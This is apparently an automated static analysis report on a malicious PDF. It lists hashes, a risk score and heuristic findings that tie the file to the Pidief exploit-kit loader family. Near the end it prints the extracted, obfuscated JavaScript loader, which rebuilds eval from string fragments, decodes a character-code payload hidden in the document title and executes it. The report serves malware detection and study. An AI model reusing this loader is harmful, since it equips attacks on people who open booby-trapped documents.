Malicious PDF — malware analysis report

Static analysis result for SHA-256 ca1492673975ee9f…

MALICIOUS

PDF

45.3 KB First seen: 2026-05-07
MD5: 06c2752206e6f63965fbc2ba2f6bfc2a SHA-1: 1940982adab2f3946aae0028afc35a167fab8db5 SHA-256: ca1492673975ee9fbf502080bd729511e92bc2741fec4201b863d93907f614b3
86 Risk Score

Malware Insights

The PDF document was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, a common technique for exploiting PDF vulnerabilities or delivering secondary payloads. The presence of JavaScript actions and embedded JS streams indicates a malicious intent, likely to execute arbitrary code upon opening the document.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1D7 614 bytes
SHA-256: 6d33c0dfeba605f23560ce0910e1f3cac87ee5a827d9a178fef1826e714fe904
Preview script
First 1,000 lines of the extracted script
jcosy='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
usdy=e('ti'+'tle');
s=usdy.substr(t.length + 8,3)+'str';
q=usdy[s](1,(1,9));
cko=e('S'+'tring.fro'+q);
q=usdy[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	tlha = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	jcosy += cko(tlha);
}
e(jcosy);

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